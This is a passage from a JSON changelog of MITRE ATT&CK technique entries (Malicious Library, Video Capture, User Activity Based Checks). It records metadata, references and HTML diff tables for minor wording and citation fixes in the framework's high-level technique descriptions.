2024)(Citation: Fortinet Malicious NPM Packages 2023)\\n\\nIn some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. User may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023)\\n+Adversaries may rely on a user installing a malicious library to facilitate execution. Threat actors may [Upload Malware](https://attack.mitre.org/techniques/T1608/001) to package managers such as NPM and PyPi, as well as to public code repositories such as GitHub. Users may install libraries without realizing they are malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that establishes persistence, steals data, or mines cryptocurrency.(Citation: Datadog Security Labs Malicious PyPi Packages 2024)(Citation: Fortinet Malicious NPM Packages 2023)\\n \\n In some cases, threat actors may compromise and backdoor existing popular libraries (i.e., [Compromise Software Dependencies and Development Tools](https://attack.mitre.org/techniques/T1195/001)). Alternatively, they may create entirely new packages and leverage behaviors such as typosquatting to encourage users to install them.\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to92__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to92__0\"><a href=\"#difflib_chg_to92__top\">t</a></td><td class=\"diff_header\" id=\"from92_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;rely&nbsp;on&nbsp;a&nbsp;user&nbsp;installing&nbsp;a&nbsp;malicious&nbsp;librar</td><td class=\"diff_next\"><a href=\"#difflib_chg_to92__top\">t</a></td><td class=\"diff_header\" id=\"to92_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;rely&nbsp;on&nbsp;a&nbsp;user&nbsp;installing&nbsp;a&nbsp;malicious&nbsp;librar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;to&nbsp;facilitate&nbsp;execution.&nbsp;Threat&nbsp;actors&nbsp;may&nbsp;[Upload&nbsp;Malware</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;to&nbsp;facilitate&nbsp;execution.&nbsp;Threat&nbsp;actors&nbsp;may&nbsp;[Upload&nbsp;Malware</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1608/001)&nbsp;to&nbsp;package&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">](https://attack.mitre.org/techniques/T1608/001)&nbsp;to&nbsp;package&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">managers&nbsp;such&nbsp;as&nbsp;NPM&nbsp;and&nbsp;PyPi,&nbsp;as&nbsp;well&nbsp;as&nbsp;to&nbsp;public&nbsp;code&nbsp;rep</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">managers&nbsp;such&nbsp;as&nbsp;NPM&nbsp;and&nbsp;PyPi,&nbsp;as&nbsp;well&nbsp;as&nbsp;to&nbsp;public&nbsp;code&nbsp;rep</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ositories&nbsp;such&nbsp;as&nbsp;GitHub.&nbsp;User<span class=\"diff_chg\">&nbsp;may&nbsp;install</span>&nbsp;libraries&nbsp;without</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ositories&nbsp;such&nbsp;as&nbsp;GitHub.&nbsp;User<span class=\"diff_chg\">s&nbsp;may&nbsp;install</span>&nbsp;libraries&nbsp;withou</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;realizing&nbsp;they&nbsp;are&nbsp;malicious,&nbsp;thus&nbsp;bypassing&nbsp;techniques&nbsp;tha</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;realizing&nbsp;they&nbsp;are&nbsp;malicious,&nbsp;thus&nbsp;bypassing&nbsp;techniques&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;specifically&nbsp;achieve&nbsp;Initial&nbsp;Access.&nbsp;This&nbsp;can&nbsp;lead&nbsp;to&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;specifically&nbsp;achieve&nbsp;Initial&nbsp;Access.&nbsp;This&nbsp;can&nbsp;lead&nbsp;to&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">execution&nbsp;of&nbsp;malicious&nbsp;code,&nbsp;such&nbsp;as&nbsp;code&nbsp;that&nbsp;establishes&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;execution&nbsp;of&nbsp;malicious&nbsp;code,&nbsp;such&nbsp;as&nbsp;code&nbsp;that&nbsp;establishes&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersistence,&nbsp;steals&nbsp;data,&nbsp;or&nbsp;mines&nbsp;cryptocurrency.(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">persistence,&nbsp;steals&nbsp;data,&nbsp;or&nbsp;mines&nbsp;cryptocurrency.(Citation:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Datadog&nbsp;Security&nbsp;Labs&nbsp;Malicious&nbsp;PyPi&nbsp;Packages&nbsp;2024)(Citation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Datadog&nbsp;Security&nbsp;Labs&nbsp;Malicious&nbsp;PyPi&nbsp;Packages&nbsp;2024)(Citatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">:&nbsp;Fortinet&nbsp;Malicious&nbsp;NPM&nbsp;Packages&nbsp;2023)&nbsp;&nbsp;In&nbsp;some&nbsp;cases,&nbsp;thre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Fortinet&nbsp;Malicious&nbsp;NPM&nbsp;Packages&nbsp;2023)&nbsp;&nbsp;In&nbsp;some&nbsp;cases,&nbsp;thr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;actors&nbsp;may&nbsp;compromise&nbsp;and&nbsp;backdoor&nbsp;existing&nbsp;popular&nbsp;libra</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eat&nbsp;actors&nbsp;may&nbsp;compromise&nbsp;and&nbsp;backdoor&nbsp;existing&nbsp;popular&nbsp;libr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ries&nbsp;(i.e.,&nbsp;[Compromise&nbsp;Software&nbsp;Dependencies&nbsp;and&nbsp;Developmen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">aries&nbsp;(i.e.,&nbsp;[Compromise&nbsp;Software&nbsp;Dependencies&nbsp;and&nbsp;Developme</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Tools](https://attack.mitre.org/techniques/T1195/001)).&nbsp;Al</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt&nbsp;Tools](https://attack.mitre.org/techniques/T1195/001)).&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ternatively,&nbsp;they&nbsp;may&nbsp;create&nbsp;entirely&nbsp;new&nbsp;packages&nbsp;and&nbsp;lever</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lternatively,&nbsp;they&nbsp;may&nbsp;create&nbsp;entirely&nbsp;new&nbsp;packages&nbsp;and&nbsp;leve</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">age&nbsp;behaviors&nbsp;such&nbsp;as&nbsp;typosquatting&nbsp;to&nbsp;encourage&nbsp;users&nbsp;to&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rage&nbsp;behaviors&nbsp;such&nbsp;as&nbsp;typosquatting&nbsp;to&nbsp;encourage&nbsp;users&nbsp;to&nbsp;i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stall&nbsp;them.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nstall&nbsp;them.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1031: Network Intrusion Prevention",
                            "M1033: Limit Software Installation"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0252: User-Initiated Malicious Library Installation via Package Manager (T1204.005)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2017-05-31 21:31:37.917000+00:00",
                    "modified": "2026-11-04 00:28:51.355000+00:00",
                    "name": "Video Capture",
                    "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.(Citation: objective-see 2017 review)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "collection"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1125",
                            "external_id": "T1125"
                        },
                        {
                            "source_name": "objective-see 2017 review",
                            "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.",
                            "url": "https://objective-see.com/blog/blog_0x25.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Praetorian"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.2",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:28:51.355000+00:00\", \"old_value\": \"2026-05-12 15:12:00.641000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\\n\\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\\n\\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.(Citation: objective-see 2017 review)\", \"old_value\": \"An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\\n\\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\\n\\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)\", \"diff\": \"--- \\n+++ \\n@@ -2,4 +2,4 @@\\n \\n Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\\n \\n-In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)\\n+In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.(Citation: objective-see 2017 review)\"}}}",
                    "previous_version": "1.2",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to138__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to138__0\"><a href=\"#difflib_chg_to138__top\">t</a></td><td class=\"diff_header\" id=\"from138_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;can&nbsp;leverage&nbsp;a&nbsp;computer's&nbsp;peripheral&nbsp;devices&nbsp;(e</td><td class=\"diff_next\"><a href=\"#difflib_chg_to138__top\">t</a></td><td class=\"diff_header\" id=\"to138_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;can&nbsp;leverage&nbsp;a&nbsp;computer's&nbsp;peripheral&nbsp;devices&nbsp;(e</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.g.,&nbsp;integrated&nbsp;cameras&nbsp;or&nbsp;webcams)&nbsp;or&nbsp;applications&nbsp;(e.g.,&nbsp;v</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.g.,&nbsp;integrated&nbsp;cameras&nbsp;or&nbsp;webcams)&nbsp;or&nbsp;applications&nbsp;(e.g.,&nbsp;v</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ideo&nbsp;call&nbsp;services)&nbsp;to&nbsp;capture&nbsp;video&nbsp;recordings&nbsp;for&nbsp;the&nbsp;purp</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ideo&nbsp;call&nbsp;services)&nbsp;to&nbsp;capture&nbsp;video&nbsp;recordings&nbsp;for&nbsp;the&nbsp;purp</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ose&nbsp;of&nbsp;gathering&nbsp;information.&nbsp;Images&nbsp;may&nbsp;also&nbsp;be&nbsp;captured&nbsp;fr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ose&nbsp;of&nbsp;gathering&nbsp;information.&nbsp;Images&nbsp;may&nbsp;also&nbsp;be&nbsp;captured&nbsp;fr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">om&nbsp;devices&nbsp;or&nbsp;applications,&nbsp;potentially&nbsp;in&nbsp;specified&nbsp;interva</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">om&nbsp;devices&nbsp;or&nbsp;applications,&nbsp;potentially&nbsp;in&nbsp;specified&nbsp;interva</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ls,&nbsp;in&nbsp;lieu&nbsp;of&nbsp;video&nbsp;files.&nbsp;&nbsp;Malware&nbsp;or&nbsp;scripts&nbsp;may&nbsp;be&nbsp;used&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ls,&nbsp;in&nbsp;lieu&nbsp;of&nbsp;video&nbsp;files.&nbsp;&nbsp;Malware&nbsp;or&nbsp;scripts&nbsp;may&nbsp;be&nbsp;used&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;interact&nbsp;with&nbsp;the&nbsp;devices&nbsp;through&nbsp;an&nbsp;available&nbsp;API&nbsp;provid</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">to&nbsp;interact&nbsp;with&nbsp;the&nbsp;devices&nbsp;through&nbsp;an&nbsp;available&nbsp;API&nbsp;provid</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;by&nbsp;the&nbsp;operating&nbsp;system&nbsp;or&nbsp;an&nbsp;application&nbsp;to&nbsp;capture&nbsp;vide</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;by&nbsp;the&nbsp;operating&nbsp;system&nbsp;or&nbsp;an&nbsp;application&nbsp;to&nbsp;capture&nbsp;vide</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;or&nbsp;images.&nbsp;Video&nbsp;or&nbsp;image&nbsp;files&nbsp;may&nbsp;be&nbsp;written&nbsp;to&nbsp;disk&nbsp;and</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;or&nbsp;images.&nbsp;Video&nbsp;or&nbsp;image&nbsp;files&nbsp;may&nbsp;be&nbsp;written&nbsp;to&nbsp;disk&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;exfiltrated&nbsp;later.&nbsp;This&nbsp;technique&nbsp;differs&nbsp;from&nbsp;[Screen&nbsp;Capt</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;exfiltrated&nbsp;later.&nbsp;This&nbsp;technique&nbsp;differs&nbsp;from&nbsp;[Screen&nbsp;Capt</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ure](https://attack.mitre.org/techniques/T1113)&nbsp;due&nbsp;to&nbsp;use&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ure](https://attack.mitre.org/techniques/T1113)&nbsp;due&nbsp;to&nbsp;use&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;specific&nbsp;devices&nbsp;or&nbsp;applications&nbsp;for&nbsp;video&nbsp;recording&nbsp;rathe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;specific&nbsp;devices&nbsp;or&nbsp;applications&nbsp;for&nbsp;video&nbsp;recording&nbsp;rathe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;than&nbsp;capturing&nbsp;the&nbsp;victim's&nbsp;screen.&nbsp;&nbsp;In&nbsp;macOS,&nbsp;there&nbsp;are&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">r&nbsp;than&nbsp;capturing&nbsp;the&nbsp;victim's&nbsp;screen.&nbsp;&nbsp;In&nbsp;macOS,&nbsp;there&nbsp;are&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;few&nbsp;different&nbsp;malware&nbsp;samples&nbsp;that&nbsp;record&nbsp;the&nbsp;user's&nbsp;webcam</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;few&nbsp;different&nbsp;malware&nbsp;samples&nbsp;that&nbsp;record&nbsp;the&nbsp;user's&nbsp;webcam</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;such&nbsp;as&nbsp;FruitFly&nbsp;and&nbsp;Proton.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;objective-see&nbsp;2017&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;such&nbsp;as&nbsp;FruitFly&nbsp;and&nbsp;Proton.(Citation:&nbsp;objective-see&nbsp;2017&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">review)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eview)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0197: Behavior-chain, platform-aware detection strategy for T1125 Video Capture"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-03-06 21:04:12.454000+00:00",
                    "modified": "2026-11-04 00:47:58.900000+00:00",
                    "name": "User Activity Based Checks",
                    "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks(Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro(Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "discovery"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1497/002",
                            "external_id": "T1497.002"
                        },
                        {
                            "source_name": "FireEye FIN7 April 2017",
                            "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                            "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
                        },
                        {
                            "source_name": "Unit 42 Sofacy Nov 2018",
                            "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019.",
                            "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
                        },
                        {
                            "source_name": "Sans Virtual Jan 2016",
                            "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.",
                            "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667"
                        },
                        {
                            "source_name": "Deloitte Environment Awareness",
                            "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
                            "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Deloitte Threat Library Team"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:47:58.900000+00:00\", \"old_value\": \"2026-05-12 15:12:00.705000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\\n\\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks(Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro(Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \", \"old_value\": \"Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\\n\\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\\n \\n-Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \\n+Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks(Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro(Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) \"}}}",
                    "previous_version": "2.0",
